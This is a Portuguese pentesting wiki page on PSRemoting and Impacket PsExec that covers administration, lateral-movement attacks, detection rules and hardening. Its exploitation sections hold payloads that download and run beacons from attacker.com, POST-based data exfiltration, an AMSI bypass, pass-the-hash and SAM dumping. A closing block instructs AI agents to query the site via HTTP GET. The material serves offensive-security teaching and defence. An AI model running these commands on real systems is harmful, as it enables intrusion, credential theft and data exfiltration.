# PSRemoting & PsExec (Impacket)

## 📑 **Índice**

1. [Fundamentos do PSRemoting e PsExec](#-fundamentos-do-psremoting-e-psexec)
2. [PSRemoting (WinRM)](#-psremoting-winrm)
3. [PsExec (Impacket)](#-psexec-impacket)
4. [Técnicas de Exploração](#-técnicas-de-exploração)
5. [Ferramentas e Comandos](#-ferramentas-e-comandos)
6. [Detecção e Monitoramento](#-detecção-e-monitoramento)
7. [Mitigação e Hardening](#-mitigação-e-hardening)
8. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do PSRemoting e PsExec**

### **O que são PSRemoting e PsExec?**

PSRemoting (PowerShell Remoting) e PsExec são ferramentas de administração remota do Windows que permitem executar comandos, scripts e processos em sistemas remotos. Embora sejam ferramentas legítimas de administração, são frequentemente utilizadas por atacantes para movimentação lateral (lateral movement), execução remota de código e persistência em ambientes comprometidos.

### **Comparação entre PSRemoting e PsExec**

| Característica   | PSRemoting (WinRM)                  | PsExec                     |
| ---------------- | ----------------------------------- | -------------------------- |
| **Protocolo**    | WinRM (HTTP/HTTPS)                  | SMB (porta 445) + Serviço  |
| **Autenticação** | Kerberos, NTLM, Certificados        | NTLM, Kerberos             |
| **Portas**       | 5985 (HTTP), 5986 (HTTPS)           | 445 (SMB), serviço efêmero |
| **Dependência**  | WinRM service                       | ADMIN$ share               |
| **Logging**      | Eventos PowerShell                  | Eventos de serviço         |
| **Ferramentas**  | `Enter-PSSession`, `Invoke-Command` | `psexec.exe`, `psexec.py`  |

### **Fluxo de Execução**

```mermaid
graph TD
    subgraph PSRemoting
        A[Atacante] -->|WinRM| B[Target:5985/5986]
        B --> C[PowerShell Host]
        C --> D[Comandos Executados]
    end
    
    subgraph PsExec
        E[Atacante] -->|SMB| F[Target:445]
        F --> G[Cria serviço]
        G --> H[Executa comando]
        H --> I[Remove serviço]
    end
```

***

## 🔌 **PSRemoting (WinRM)**

### **Configuração e Verificação**

```powershell
# Verificar status do WinRM
Get-Service WinRM
Test-WSMan -ComputerName target

# Verificar listeners
winrm enumerate winrm/config/listener

# Verificar configurações
winrm get winrm/config

# Verificar se PSRemoting está habilitado
Get-WSManInstance -ResourceURI winrm/config/client -SelectorSet *
```

### **Conexões Básicas**

```powershell
# Conexão interativa
Enter-PSSession -ComputerName target -Credential (Get-Credential)

# Executar comando único
Invoke-Command -ComputerName target -ScriptBlock { Get-Process } -Credential (Get-Credential)

# Executar em múltiplos hosts
$computers = @("DC01", "SRV01", "SRV02")
Invoke-Command -ComputerName $computers -ScriptBlock { Get-Service }

# Com sessão persistente
$session = New-PSSession -ComputerName target -Credential (Get-Credential)
Invoke-Command -Session $session -ScriptBlock { whoami }
Remove-PSSession $session
```

### **Autenticação Alternativa**

```powershell
# Autenticação NTLM
Invoke-Command -ComputerName target -Authentication Negotiate -Credential (Get-Credential)

# Autenticação Kerberos
Invoke-Command -ComputerName target -Authentication Kerberos -Credential (Get-Credential)

# Com certificado
$cert = Get-ChildItem Cert:\CurrentUser\My | Where-Object {$_.Subject -like "*target*"}
New-PSSession -ComputerName target -CertificateThumbprint $cert.Thumbprint
```

### **CredSSP (Credential Security Support Provider)**

```powershell
# Habilitar CredSSP (permite double-hop)
Enable-WSManCredSSP -Role Client -DelegateComputer "target"

# Usar CredSSP para double-hop
Invoke-Command -ComputerName target -Authentication Credssp -Credential (Get-Credential) -ScriptBlock {
    Invoke-Command -ComputerName internal-server -ScriptBlock { whoami }
}
```

### **Configurações de Segurança**

```powershell
# Configurar WinRM para HTTPS
$cert = New-SelfSignedCertificate -DnsName "target.domain.com" -CertStoreLocation "Cert:\LocalMachine\My"
winrm create winrm/config/Listener?Address=*+Transport=HTTPS @{Hostname="target.domain.com"; CertificateThumbprint=$cert.Thumbprint}

# Restringir acesso
Set-Item -Path WSMan:\localhost\Client\TrustedHosts -Value "*.domain.com"

# Configurar autenticação
Set-Item -Path WSMan:\localhost\Service\Auth\Basic -Value $false
Set-Item -Path WSMan:\localhost\Service\Auth\Negotiate -Value $true
Set-Item -Path WSMan:\localhost\Service\Auth\CredSSP -Value $false
```

***

## 🚀 **PsExec (Impacket)**

### **PsExec Legítimo (Sysinternals)**

```bash
# Sysinternals PsExec
psexec.exe \\target -u DOMAIN\user -p password cmd.exe

# Executar comando específico
psexec.exe \\target -u DOMAIN\user -p password ipconfig /all

# Modo interativo
psexec.exe \\target -i -u DOMAIN\user -p password cmd.exe

# Executar como SYSTEM
psexec.exe \\target -s cmd.exe
```

### **Impacket PsExec (Python)**

```bash
# Impacket psexec.py
psexec.py DOMAIN/user:password@target cmd.exe

# Com hash NTLM
psexec.py DOMAIN/user@target -hashes aad3b435b51404eeaad3b435b51404ee:NT_HASH

# Modo interativo
psexec.py DOMAIN/user@target -hashes :NT_HASH

# Executar comando
psexec.py DOMAIN/user@target "whoami && hostname"
```

### **Criação de Serviço Manual**

```python
#!/usr/bin/env python3
# psexec_simple.py - Implementação simplificada

import smbconnection
import service_installer

def psexec_execute(target, username, password, command):
    """Executar comando via PsExec"""
    
    # Conectar via SMB
    conn = smbconnection.SMBConnection(target, target)
    conn.login(username, password)
    
    # Upload do executável
    service_name = "RANDOM_SERVICE"
    remote_path = f"ADMIN$\\{service_name}.exe"
    
    with open("psexec_service.exe", "rb") as f:
        conn.putFile(remote_path, f.read())
    
    # Criar e iniciar serviço
    service_cmd = f'cmd.exe /c {command} > \\Windows\\Temp\\output.txt 2>&1'
    
    # Usar Service Control Manager
    sc_manager = service_installer.ServiceInstaller(conn)
    sc_manager.install(service_name, remote_path, service_cmd)
    sc_manager.start(service_name)
    
    # Coletar output
    output = conn.getFile(f"ADMIN$\\Temp\\output.txt")
    
    # Limpeza
    sc_manager.stop(service_name)
    sc_manager.delete(service_name)
    conn.deleteFile(remote_path)
    
    return output
```

### **Alternativas ao PsExec**

```bash
# wmiexec.py (alternativa via WMI)
wmiexec.py DOMAIN/user@target "whoami"

# smbexec.py (alternativa via SMB)
smbexec.py DOMAIN/user@target

# atexec.py (via Scheduled Tasks)
atexec.py DOMAIN/user@target "whoami"

# dcomexec.py (via DCOM)
dcomexec.py DOMAIN/user@target "whoami"
```

***

## ⚔️ **Técnicas de Exploração**

### **1. Movimentação Lateral com PSRemoting**

```powershell
# Descobrir hosts com WinRM ativo
1..254 | ForEach-Object { 
    $ip = "192.168.1.$_"
    if (Test-Connection -ComputerName $ip -Count 1 -Quiet) {
        try {
            Test-WSMan -ComputerName $ip -ErrorAction Stop
            Write-Host "[+] $ip - WinRM ativo"
        } catch {}
    }
}

# Executar payload em múltiplos hosts
$creds = Get-Credential
$payload = {
    $client = New-Object System.Net.WebClient
    $client.DownloadFile("http://attacker.com/beacon.exe", "$env:TEMP\beacon.exe")
    Start-Process "$env:TEMP\beacon.exe"
}

Invoke-Command -ComputerName (Get-Content hosts.txt) -ScriptBlock $payload -Credential $creds

# C2 via PSRemoting
$session = New-PSSession -ComputerName target -Credential $creds
Invoke-Command -Session $session -FilePath c2.ps1
```

### **2. Movimentação Lateral com PsExec**

```bash
# Impacket - Executar em massa
for ip in $(cat targets.txt); do
    psexec.py DOMAIN/user@$ip "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/beacon.ps1')"
done

# Com hashes coletados
psexec.py DOMAIN/user@target -hashes :aad3b435b51404eeaad3b435b51404ee:NT_HASH

# Usar para dumping de credenciais
psexec.py DOMAIN/user@target "reg save HKLM\SAM C:\sam"
```

### **3. Double-Hop Problem (Kerberos)**

```powershell
# Problema: Ao usar PSRemoting, não é possível autenticar em segundo salto
# Solução 1: CredSSP (menos seguro)
Enable-WSManCredSSP -Role Client -DelegateComputer "*"
Invoke-Command -ComputerName target -Authentication Credssp -Credential $creds -ScriptBlock {
    # Agora pode acessar outro recurso
    Get-Item \\fileserver\share
}

# Solução 2: Passar credenciais explicitamente
Invoke-Command -ComputerName target -Credential $creds -ScriptBlock {
    $secpass = ConvertTo-SecureString "password" -AsPlainText -Force
    $cred = New-Object System.Management.Automation.PSCredential("DOMAIN\user", $secpass)
    Invoke-Command -ComputerName internal -Credential $cred -ScriptBlock { whoami }
}

# Solução 3: Usar Resource-Based Kerberos Delegation
# Configurar delegacão para o servidor
```

### **4. Bypass de Restrições**

```powershell
# Bypass de Execution Policy
Invoke-Command -ComputerName target -ScriptBlock {
    powershell -ExecutionPolicy Bypass -File script.ps1
}

# Bypass de AMSI
Invoke-Command -ComputerName target -ScriptBlock {
    [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
    # Código malicioso
}

# Bypass de Constrained Language Mode
Invoke-Command -ComputerName target -ScriptBlock {
    $ExecutionContext.SessionState.LanguageMode
    # Usar COM para bypass
    $com = [Type]::GetTypeFromCLSID("00024500-0000-0000-C000-000000000046")
    $obj = [System.Activator]::CreateInstance($com)
    $obj.GetType().GetMethod("Execute").Invoke($obj, @("powershell.exe -c whoami"))
}
```

### **5. Exfiltração via PSRemoting**

```powershell
# Coletar dados e exfiltrar
$data = Invoke-Command -ComputerName target -ScriptBlock {
    Get-ChildItem C:\Users\*\Desktop\*.docx -Recurse | Select-Object FullName, Length
}

$data | ConvertTo-Json | Out-File -FilePath data.json
Invoke-WebRequest -Uri "http://attacker.com/exfil" -Method POST -Body (Get-Content data.json -Raw)
```

***

## 🛠️ **Ferramentas e Comandos**

### **PowerShell Remoting Tools**

```powershell
# PSSession (sessão persistente)
$session = New-PSSession -ComputerName target
Enter-PSSession $session

# Invoke-Command (execução única)
Invoke-Command -ComputerName target -ScriptBlock { Get-Service }

# Invoke-Command com arquivo
Invoke-Command -ComputerName target -FilePath script.ps1

# Background job
$job = Invoke-Command -ComputerName target -ScriptBlock { while($true) { sleep 60 } } -AsJob
Receive-Job $job

# CIM/WMI via WinRM
Get-CimInstance -ComputerName target -ClassName Win32_Process
Invoke-CimMethod -ComputerName target -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine="calc.exe"}
```

### **Impacket Tools**

```bash
# psexec.py - Execução remota
psexec.py domain/user:pass@target cmd.exe
psexec.py domain/user@target -hashes :NT_HASH

# wmiexec.py - Alternativa via WMI
wmiexec.py domain/user:pass@target whoami
wmiexec.py domain/user@target -hashes :NT_HASH

# smbexec.py - Execução via SMB
smbexec.py domain/user:pass@target
smbexec.py domain/user@target -hashes :NT_HASH

# atexec.py - Scheduled Tasks
atexec.py domain/user:pass@target whoami

# dcomexec.py - DCOM
dcomexec.py domain/user:pass@target whoami
```

### **CrackMapExec**

```bash
# PSRemoting via CME
cme winrm 192.168.1.0/24 -u user -p password
cme winrm 192.168.1.100 -u user -p password -x "whoami"

# PsExec via CME
cme smb 192.168.1.0/24 -u user -p password --exec-method psexec -x "whoami"

# Execução em massa
cme smb targets.txt -u user -p pass -x "whoami"
```

### **PowerShell Empire / Starkiller**

```powershell
# PSRemoting listener no Empire
uselistener http
set Host http://attacker.com
execute

# Agent via PSRemoting
usestager windows/launcher_bat
set Listener http
execute

# Executar via Invoke-Command
Invoke-Command -ComputerName target -ScriptBlock { 
    IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/agent.ps1')
}
```

***

## 🔍 **Detecção e Monitoramento**

### **Event Logs**

```yaml
Eventos PSRemoting:
  - 4103: PowerShell pipeline execution
  - 4104: PowerShell script block logging
  - 6: PowerShell console start
  - 4: PowerShell engine state change
  - 4648: Logon using explicit credentials

Eventos WinRM:
  - 91: WinRM authentication
  - 16: WinRM operation
  - 15: WinRM connection

Eventos PsExec:
  - 7045: Service installation
  - 7035: Service start/stop
  - 4697: Service creation
  - 4624: Account logon
```

### **Regras de Detecção (Sigma)**

```yaml
title: PSRemoting Execution
id: a1b2c3d4
status: experimental
description: Detecta execução remota via PSRemoting
logsource:
    product: windows
    service: powershell
detection:
    selection:
        EventID: 4104
        ScriptBlockText|contains:
            - 'Enter-PSSession'
            - 'Invoke-Command'
            - 'New-PSSession'
    condition: selection
```

### **Ferramentas de Detecção**

```powershell
# Monitorar sessões PowerShell
Get-PSSession
Get-WSManInstance -ResourceURI winrm/config/listener

# Monitorar conexões WinRM
Get-NetTCPConnection -LocalPort 5985,5986

# Monitorar serviços criados
Get-WinEvent -FilterHashtable @{LogName='System'; ID=7045} | 
    Where-Object {$_.Message -like "*PSEXESVC*"}

# Monitorar logs de autenticação
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624} |
    Where-Object {$_.Message -like "*WinRM*" -or $_.Message -like "*psexec*"}
```

### **Sysmon Configuração**

```xml
<Sysmon>
    <EventFiltering>
        <ProcessCreate onmatch="include">
            <CommandLine condition="contains">WinRM</CommandLine>
            <CommandLine condition="contains">psexec</CommandLine>
        </ProcessCreate>
        
        <NetworkConnect onmatch="include">
            <DestinationPort condition="is">5985</DestinationPort>
            <DestinationPort condition="is">5986</DestinationPort>
        </NetworkConnect>
        
        <ServiceCreation onmatch="include">
            <ServiceName condition="contains">PSEXESVC</ServiceName>
        </ServiceCreation>
    </EventFiltering>
</Sysmon>
```

***

## 🛡️ **Mitigação e Hardening**

### **Hardening PSRemoting**

```powershell
# Restringir usuários que podem usar PSRemoting
Set-PSSessionConfiguration -Name Microsoft.PowerShell -ShowSecurityDescriptorUI

# Configurar WinRM para HTTPS apenas
Set-Item -Path WSMan:\localhost\Service\AllowUnencrypted -Value $false
Set-Item -Path WSMan:\localhost\Service\Auth\Basic -Value $false

# Restringir endpoints
Set-PSSessionConfiguration -Name Microsoft.PowerShell -AccessMode Remote

# Configurar Firewall
New-NetFirewallRule -DisplayName "Block WinRM" -Direction Inbound -Protocol TCP -LocalPort 5985,5986 -Action Block

# Desabilitar PSRemoting completamente
Disable-PSRemoting -Force
```

### **Hardening PsExec**

```powershell
# Restringir acesso ao ADMIN$
# GPO: Computer Configuration > Windows Settings > Security Settings > Local Policies > User Rights Assignment
# "Access this computer from the network" - remover usuários desnecessários

# Desabilitar serviço de compartilhamento
Set-SmbServerConfiguration -AutoShareServer $false
Set-SmbServerConfiguration -AutoShareWorkstation $false

# Bloquear criação de serviços
# GPO: Computer Configuration > Windows Settings > Security Settings > System Services
# "Remote Registry" - Disabled
# "Windows Installer" - Configured

# Configurar Firewall
New-NetFirewallRule -DisplayName "Block SMB" -Direction Inbound -Protocol TCP -LocalPort 445 -Action Block
```

### **GPO de Segurança**

```xml
<!-- Registry.pol para desabilitar PSRemoting -->
<registry>
    <key path="SOFTWARE\Policies\Microsoft\Windows\WinRM\Client">
        <value name="AllowBasic" type="REG_DWORD" value="0"/>
        <value name="AllowCredSSP" type="REG_DWORD" value="0"/>
    </key>
    <key path="SOFTWARE\Policies\Microsoft\Windows\WinRM\Service">
        <value name="AllowBasic" type="REG_DWORD" value="0"/>
        <value name="AllowUnencryptedTraffic" type="REG_DWORD" value="0"/>
    </key>
</registry>
```

### **Just Enough Administration (JEA)**

```powershell
# Criar role capability
New-PSRoleCapabilityFile -Path .\Maintenance.psrc -Author "Admin" -Description "Maintenance tasks"

# Criar session configuration
$params = @{
    Path = ".\Maintenance.pssc"
    SessionType = 'RestrictedRemoteServer'
    RoleDefinitions = @{'DOMAIN\ITTeam' = @{RoleCapabilities = 'Maintenance'}}
}
New-PSSessionConfigurationFile @params

# Registrar configuração
Register-PSSessionConfiguration -Name "Maintenance" -Path ".\Maintenance.pssc"
```

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção**

* [ ] **PSRemoting (WinRM)**
  * [ ] Desabilitar se não necessário
  * [ ] Configurar apenas HTTPS (porta 5986)
  * [ ] Usar autenticação Kerberos (evitar NTLM)
  * [ ] Restringir usuários via JEA
  * [ ] Monitorar logs de PowerShell
* [ ] **PsExec**
  * [ ] Restringir acesso ao ADMIN$
  * [ ] Desabilitar compartilhamentos administrativos
  * [ ] Monitorar criação de serviços
  * [ ] Configurar Firewall para bloquear SMB
* [ ] **Geral**
  * [ ] Implementar LAPS (Local Administrator Password Solution)
  * [ ] Usar contas de serviço gerenciadas (gMSA)
  * [ ] Configurar Just Enough Administration (JEA)
  * [ ] Habilitar logging avançado de PowerShell

### **Checklist de Teste**

* [ ] **Reconhecimento**
  * [ ] Identificar hosts com WinRM ativo
  * [ ] Testar credenciais com CrackMapExec
  * [ ] Mapear compartilhamentos ADMIN$
* [ ] **Execução**
  * [ ] Testar PSRemoting com Invoke-Command
  * [ ] Testar PsExec com Impacket
  * [ ] Testar alternativas (wmiexec, smbexec)
* [ ] **Pós-exploração**
  * [ ] Estabelecer persistência
  * [ ] Coletar credenciais
  * [ ] Movimentação lateral

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
PSRemoting e PsExec:
  ✅ Ferramentas poderosas de administração remota
  ✅ Comumente usadas para movimentação lateral
  ✅ Diferentes protocolos (WinRM vs SMB)
  ✅ Detecção requer monitoramento de eventos específicos

Defesas essenciais:
  ❌ Nunca usar autenticação básica sem HTTPS
  ✓ Implementar Just Enough Administration (JEA)
  ✓ Monitorar logs de PowerShell e serviços
  ✓ Restringir compartilhamentos administrativos
  ✓ Usar LAPS para contas locais
```

### **Recomendações Finais**

1. **Para Administradores**
   * Desabilitar PSRemoting onde não necessário
   * Configurar WinRM com HTTPS e Kerberos
   * Implementar JEA para acesso remoto
   * Monitorar eventos 7045 (serviços) e 4104 (PowerShell)
2. **Para Pentesters**
   * Testar ambas as técnicas (PSRemoting e PsExec)
   * Usar CredSSP para double-hop quando necessário
   * Coletar hashes para movimentação lateral
   * Documentar evidências de execução
3. **Para Arquitetos**
   * Segmentar rede para limitar movimentação
   * Implementar LAPS para contas locais
   * Usar gMSA para serviços
   * Configurar logging centralizado


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/windows/psremoting-and-psexec-impacket.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
